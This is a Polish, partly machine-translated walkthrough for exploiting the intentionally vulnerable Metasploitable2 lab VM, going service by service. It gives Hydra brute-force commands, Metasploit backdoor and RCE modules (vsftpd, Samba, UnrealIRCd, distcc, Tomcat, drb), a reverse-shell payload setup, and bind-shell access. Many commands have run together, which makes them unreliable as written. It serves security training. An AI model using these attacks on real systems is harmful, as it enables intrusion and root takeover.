- Metasploitable2 Complete Overview
- Eksploracja wszystkich portów w różnych technikach :
- 22-.SSH
- 23-TELNET
- 25-SMTP
- Metoda 2
- 139&445 Netbios-SSN
- 1099-Java-.RMI
- Exploiting java-RMI-server
- 1524-BINDSHELL
- Exploitation
- 2121-ProFTPD
- 3306-MYSQL
- 3632-DISTCCD
- Eksploatacja portu 3632 za pomocą distcc-.exec
- Eksploracja PostgreSQL z postgre_payload
- 5900-VNC
- 6000-X11
- Exploiting portu 6000 using ssh
- 6667 & 6697 UnrealIRCD
- Metoda 1: na porcie 6667
- Metoda 2: Na porcie 6697
- 8180-TOMCAT
- Exploiting Apache-Tomcat
- 8787-Ruby-drb
Metasploitable2 Complete Overview
Metasploitable jest celowo podatną na ataki maszyną wirtualną z systemem Linux.
Ta maszyna wirtualna może być używana do przeprowadzania szkoleń z zakresu bezpieczeństwa, testowania narzędzi bezpieczeństwa i ćwiczenia typowych technik testów penetracyjnych.
Instalacja i konfiguracja
Jesteśmy tutaj, aby wykorzystać Metasploitable 2 (cholernie podatna maszyna do testów penetracyjnych)
Uzyskaj tę maszynę Metasploiable2 od https://information.rapid7.com/download-metasploitable-2017.html
Proces instalacji:
- Otwórz VirtualBox i kliknij na przycisk „New” aby utworzyć nową maszynę wirtualną
- Podaj nazwę maszyny wirtualnej(Metasploitable2)
- Allocate the amount of memory(Preferable but not below 512mb)
- Wybierz Use an existing hard disk file
- Wybierz plik vmdk, który pobrałeś z Rapid7
- Kliknij na Create….!!! Pomyślnie zainstalowano Metasploitable2, Teraz czas na konfigurację ustawień sieciowych.
Po instalacji zmień ustawienia karty sieciowej w następujący sposób :
Ustawienia sieciowe: Settings/Network/Adapter wybierz Ethernet lub Wireless
W zakładce Advanced wybierz: Promiscuous Mode jako Allow All
Uruchom maszynę Metasploitable2 i spróbuj się zalogować używając podanych danych uwierzytelniających na Bannerze…!!!!
Znajdź adres IP maszyny za pomocą polecenia w terminalu
ifconfig
To wszystko jeśli chodzi o konfigurację…..Let’s Start Hacking…
Scanning
Scanning the Matasploitable 2
Jak zauważyliśmy adres IP maszyny to 192.168.0.130
Zacznijmy skanowanie za pomocą Nmapa, który jest częścią Kali Linux
nmap -sV -p- 192.168.0.130
Eksploracja wszystkich portów w różnych technikach :
Metoda 1:
Login z Anonymous jako nazwą użytkownika i bez hasła.
Jeśli potrzebujesz więcej informacji o Anonimowym FTP, możesz je znaleźć tutaj.
https://whatis.techtarget.com/definition/anonymous-FTP-File-Transfer-Protocol
ftp 192.168.0.130
Metoda 2 :
Poprzez Brute-force używając Hydry, ale musisz mieć własną listę nazw użytkowników i haseł.
hydra -L /root/Desktop/USERNAMES.txt -P /root/Desktop/PASSWORDS.txt <Target IP Address> ftp -V
Po zalogowaniu się na konto użytkownika, możesz uzyskać dostęp do roota poprzez eskalację przywilejów.
Metoda 3 :
Exploiting FTP poprzez Metasploit framework
otwórz konsolę Metasploit framework i wyszukaj vsftpd Backdoor exploit
msfconsole
Search vsftpd
use exploit/unix/ftp/vsftpd_234_backdoor
.
show options
set RHOSTS 192.168.0.130 --> <target IP address>exploit
Gratuluję Ci uzyskania dostępu do roota
22-.SSH
Secure Shell (SSH) to kryptograficzny protokół sieciowy do bezpiecznego korzystania z usług sieciowych w niezabezpieczonej sieci.
Wykorzystanie SSH w różnych technikach
Metoda 1
Złamanie nazwy użytkownika i hasła za pomocą Hydry
Hydra jest wbudowanym narzędziem w Kali-Linux używanym do ataku Brute Force jest metodą prób i błędów stosowaną przez programy użytkowe w celu odszyfrowania zaszyfrowanych danych, takich jak hasła lub klucze Data Encryption Standard (DES), poprzez wyczerpujący wysiłek (przy użyciu brute force), a nie stosowanie strategii intelektualnych.
hydra -L <Usernames_List> -P <Passwords_List> <Target ip address> <Service>
Metoda 2
Otwórz Metasploit framework
Otwórz terminal i wpisz następujące komendy :
service postgresql startmsfconsolesearch ssh_loginuse auxiliary/scanner/ssh/ssh_login
ustaw ten pomocniczy i zobacz, czego wymaga.
set RHOSTS <target IP Address> --> in my case 192.168.0.130
Ustaw predefiniowaną listę nazw użytkowników i listę haseł
set USER_FILE <Username file Path>set PASS_FILE <Password file Path>exploit
Wykorzysta ona czasowo listę nazw użytkowników i haseł oraz powiadomi o nazwie użytkownika: haśle i zaloguje się przy użyciu tych poświadczeń.
ssh username@targetipaddress
Masz dostęp użytkownika, nie możesz wykonać wszystkich zadań, więc spróbuj uzyskać dostęp roota poprzez eskalację przywilejów.
23-TELNET
Telnet to prosty, tekstowy protokół sieciowy, który jest używany do uzyskiwania dostępu do zdalnych komputerów przez sieci TCP/IP, takie jak Internet. Telnet został stworzony i uruchomiony w 1969 roku i, historycznie rzecz biorąc, można powiedzieć, że był to pierwszy Internet.
telnet <target IP Address> --> 192.168.0.130
Domyślnie będzie Grab Metasploitable 2 banner, pokazuje, że Zaloguj się z msfadmin/msfadmin, aby rozpocząć. Po prostu wprowadź te poświadczenia i jesteś w.
25-SMTP
SMTP jest częścią warstwy aplikacji protokołu TCP/IP. Używając procesu zwanego „store and forward”, SMTP przenosi wiadomości e-mail do i przez sieci. Ściśle współpracuje z czymś, co nazywa się Mail Transfer Agent (MTA), aby wysłać twoją wiadomość do właściwego komputera i skrzynki odbiorczej.
Metoda 1:
Używanie Metasploit
Uruchom Metasploit, wykonując polecenia
service postgresql startmsfconsole -qsearch smtp_version
.
use auxiliary/scanning/smtp/smtp_version (or) you can type use 0show optionsset RHOST 192.168.0.130exploit (or) runshow optionsset RHOST 192.168.0.130exploit (or) run
SMTP oznacza Simple Mail Transport Protocol i jest protokołem typu serwer-na-serwer.do serwera i utrzymuje lokalną bazę danych użytkowników, do których musi wysyłać i odbierać e-maile.
SMTP posiada zestaw poleceń. Zamierzamy połączyć się z naszym celem za pomocą „netcat” przez port 25 i spróbować pozyskać tę bazę e-maili.
Otwórz nowy terminal i wpisz:
nc 192.168.0.130 25
Teraz połączenie jest ustanowione możesz zweryfikować za pomocą komend „SMTP”
Type: vrfy user
vrfy (To jest nie-interaktywna powłoka)
Dla komend SMTP odwiedź: http://www.tcpipguide.com/free/t_SMTPCommands-2.htm
Metoda 2
Używanie smtp_enum
To może być zrobione przez Metasploit
search smtp_enum
.
use auxiliary/scanner/smtp/smtp_enum
show optionsset RHOST 192.168.0.130exploit
Ta metoda używa wyliczenia, aby znaleźć tę listę użytkowników w usłudze SMTP.
Później NetCat może być pomocny, aby uzyskać odwrotne połączenie z tym użytkownikiem.
139&445 Netbios-SSN
Samba jest projektem open-source, który jest szeroko stosowany na komputerach z systemem Linux i Unix, dzięki czemu mogą one współpracować z usługami plików i drukowania systemu Windows.
Możemy nawet użyć Samby jako serwera Active do obsługi logowania, uwierzytelniania i kontroli dostępu w sieci Windows.
Szukaj exploita
use exploit/multi/samba/usermap_script
.
Aby wyświetlić opcje dla exploita
show optionsSet RHOST192.168.0.130 (Target IP address)
.
ustawienie payload
Show payloadsSet payload cmd/unix/reverse
ustawienie wymaganych argumentów dla payload
Show optionsSet LHOST 192.168.0.109 (Attackers IP Address)Set LPORT 4444
Sprawdź, gdy wszystkie wymagane argumenty są wypełnione
exploit
1099-Java-.RMI
Remote Method Invocation (RMI) to interfejs API, który pozwala obiektowi wywołać metodę na obiekcie, który istnieje w innej przestrzeni adresowej, która może być na tej samej maszynie lub na maszynie zdalnej.
Exploiting java-RMI-server
wyszukaj exploit
search java_rmi_server
wybierz exploit zgodnie z jego rangą. na przykład „doskonały” działa lepiej niż „normalny”.
use exploit/multi/misc/java_rmi_servershow optionsset RHOSTS <target's IP>exploit
Uzyskaliśmy dostęp do maszyny docelowej.
1524-BINDSHELL
Bind shell to rodzaj powłoki, w której maszyna docelowa otwiera port komunikacyjny lub listener na maszynie ofiary i czeka na połączenie przychodzące. Atakujący następnie łączy się z listenerem maszyny ofiary, co prowadzi do wykonania kodu lub polecenia na serwerze.
Exploitation
Jest to powłoka roota, więc możemy połączyć się przez usługę netcat.
nc <target ip address> 1524
Gratulacje, Jesteś teraz użytkownikiem root.
2121-ProFTPD
Przed wykorzystaniem tego portu musisz mieć dane logowania, więc jak wiemy metodę można uzyskać poprzez technikę Brute-force, Możemy uzyskać dostęp do ProFTPd za pomocą telnetu, Używamy tutaj użytkownika: user.
telnet <Taget IP Address> <Port Number>USER <username>
PASS <password>
To jest normalny użytkownik, Spróbuj Privilege Escalation aby uzyskać kontrolę roota.
3306-MYSQL
Metoda 1:
wyszukanie exploita
search scanner/mysql/mysql_login
use auxiliary/scanner/mysql/mysql_login
.
Czasami może się zdarzyć, że mamy puste hasło do MySQL. Więc możemy to bezpośrednio wykorzystać.
Uwaga: domyślnie pokazuje BLANK_PASSWORDS jako false, ustaw na true.
set BLANK_PASSWORDS as true
Metoda:2
W tej metodzie, zamierzamy wykorzystać MySQL używając tej komendy podając nazwę użytkownika jako root i IP celu.
mysql -u root -h <target's IP>
3632-DISTCCD
Distcc jest narzędziem służącym do przyspieszenia kompilacji kodu źródłowego poprzez wykorzystanie obliczeń rozproszonych w sieci komputerowej. Przy odpowiedniej konfiguracji
distcc może drastycznie zmniejszyć czas kompilacji projektu
Eksploatacja portu 3632 za pomocą distcc-.exec
Otwórz msfconsole i wyszukaj distcc_exec
search distcc_execshow options
Ustaw wymagane argumenty do exploita
set RHOSTS <target-ip>exploit
Uzyskaliśmy dostęp do powłoki….Spróbuj wykonać eskalację przywilejów dla wyższych uprawnień
Eksploracja PostgreSQL z postgre_payload
Otwórz msfconsole &wyszukaj postgres_payload
search postgres_payloaduse exploit/linux/postgres/postgres_payloadshow options
Ustaw wymagane argumenty dla exploita
set RHOSTS <target-ip>
Domyślnie, użyje nazwy użytkownika jako postgres
exploit
Pomyślnie zalogowano się do postgresql…Let’s get a shell for doing more stuff…
Spróbuj zrobić privilege escalation…Happy learning..!!!
5900-VNC
Otwórz msfconsole i wyszukaj exploit vnc_login
search vnc_loginuse auxiliary/scanner/vnc/vnc_login
show optionsset RHOSTS <targets IP>set PASS_FILE <filepath that contains passwords>run (or) exploit
show optionsset RHOSTS <targets IP>set PASS_FILE <filepath that contains passwords>run (or) exploit
Ta metoda jest wykorzystywana do wykorzystania oprogramowania VNC hostowanego na systemach operacyjnych Linux, Unix lub Windows z luką w uwierzytelnianiu.
Próbuj połączyć się z vnc za pomocą tego hasła
Otwórz przeglądarkę Vnc w Terminalu & Wpisz adres IP i połącz
pojawił się monit logowania i poprosi o podanie danych uwierzytelniających
Następnie wprowadź hasło i kliknij OK.
Voilaaa…!!! masz Access…wiem co teraz myślisz…nie zadzieraj z rzeczami wokół..Happy Learning.
6000-X11
The X Window System (aka X) jest systemem okienkowym dla wyświetlaczy bitmapowych, który jest powszechny w systemach operacyjnych opartych na UNIX. X zapewnia podstawowe ramy dla środowiska opartego na GUI.
Zdalny serwer X11 akceptuje połączenia z dowolnego miejsca, w którym można uzyskać połączenie z Internetem. Jest on odpowiedzialny za dostęp do kart graficznych, urządzeń wejściowych i ekranu wyświetlacza w komputerze lub urządzeniu bezprzewodowym.
Exploiting portu 6000 using ssh
ssh -X -l msfadmin 192.168.0.122
W powyższym poleceniu 'X’ włącza przekierowanie wszystkich portów, podając nazwę użytkownika i IP celu daje nam powłokę
6667 & 6697 UnrealIRCD
UnrealIRCd jest otwartoźródłowym serwerem IRC, obsługującym tysiące sieci od 1999 roku. Działa na systemach Linux, OS X i Windows
UnrealIRCd jest wysoce zaawansowanym IRCd z silnym naciskiem na modularność, zaawansowany i wysoce konfigurowalny plik konfiguracyjny. Kluczowe funkcje obejmują SSL
UnrealIRCd jest jednym z najpopularniejszych i w pełni funkcjonalnych demonów IRC i jest używany na największej liczbie serwerów IRC
Serwer ten jest opisywany jako posiadający prawdopodobnie najwięcej funkcji bezpieczeństwa spośród wszystkich serwerów IRC.
Używane protokoły: Internet Relay Chat
Let’s Exploit this IRC Server.
Metoda 1: na porcie 6667
search unrealircduse exploit/unix/irc/unreal_ircd_3281_backdoorshow options
Ustaw wymagane argumenty dla exploita
set RHOSTS <target-ip>
.
domyślnie numer portu 6667 jest przypisany do exploita
run (or) exploit
Heyyy….Mamy korzeń…Żyjemy na krawędzi…
Metoda 2: Na porcie 6697
Użyj powyższego exploita i ustaw wymagane argumenty
- Tym razem ustaw port jako 6697
set RHOSTS <target-ip>set RPORT 6697
I za drugim razem również mamy roota….Try to Exploit this…Happy learning
8180-TOMCAT
Apache Tomcat jest otwartą implementacją technologii Java Servlet, JavaServer Pages, Java Expression Language oraz WebSocket. Tomcat udostępnia środowisko serwera HTTP „czystej Javy”, w którym może być uruchamiany kod Javy.
Exploiting Apache-Tomcat
Można to zrobić w dwóch krokach:
Otworzyć msfconsole &wyszukać tomcat_mgr_login
search tomcat_mgr_loginset RHOSTS <target-ip>
show options
Exploit przypisze domyślne listy nazw użytkowników &haseł. Po ustawieniu argumentów do exploita Type exploit (or) run
run
Pobierz tę samą nazwę użytkownika i hasło i podaj je następnemu exploitowi.
wyszukaj exploity dla tomcat manager
search tomcat_mgr_uploaduse exploit/multi/http/tomcat_mgr_uploadshow options
ustaw RHOSTS, RPORT, oraz HttpPassword, HttpUsername, które otrzymaliśmy z exploita logowania tomcat, a następnie uruchom exploita.
msfconsole może przypisać odpowiedni payload dla exploita, dlatego mamy meterpreter…
8787-Ruby-drb
dRuby jest rozproszonym systemem obiektowym dla Rubiego. Jest napisany w czystym Rubim i używa jego protokołu.
Nie są potrzebne żadne dodatkowe usługi poza tymi dostarczanymi przez czas uruchamiania Rubiego, takie jak gniazda TCP.
search drb_remote_codeexec
Ustaw wymagane argumenty do exploita
show optionsset RHOSTS <target-ip>exploit (or) run
Gratulacje, że uzyskałeś dostęp do powłoki roota… spróbuj użyć niektórych poleceń powłoki.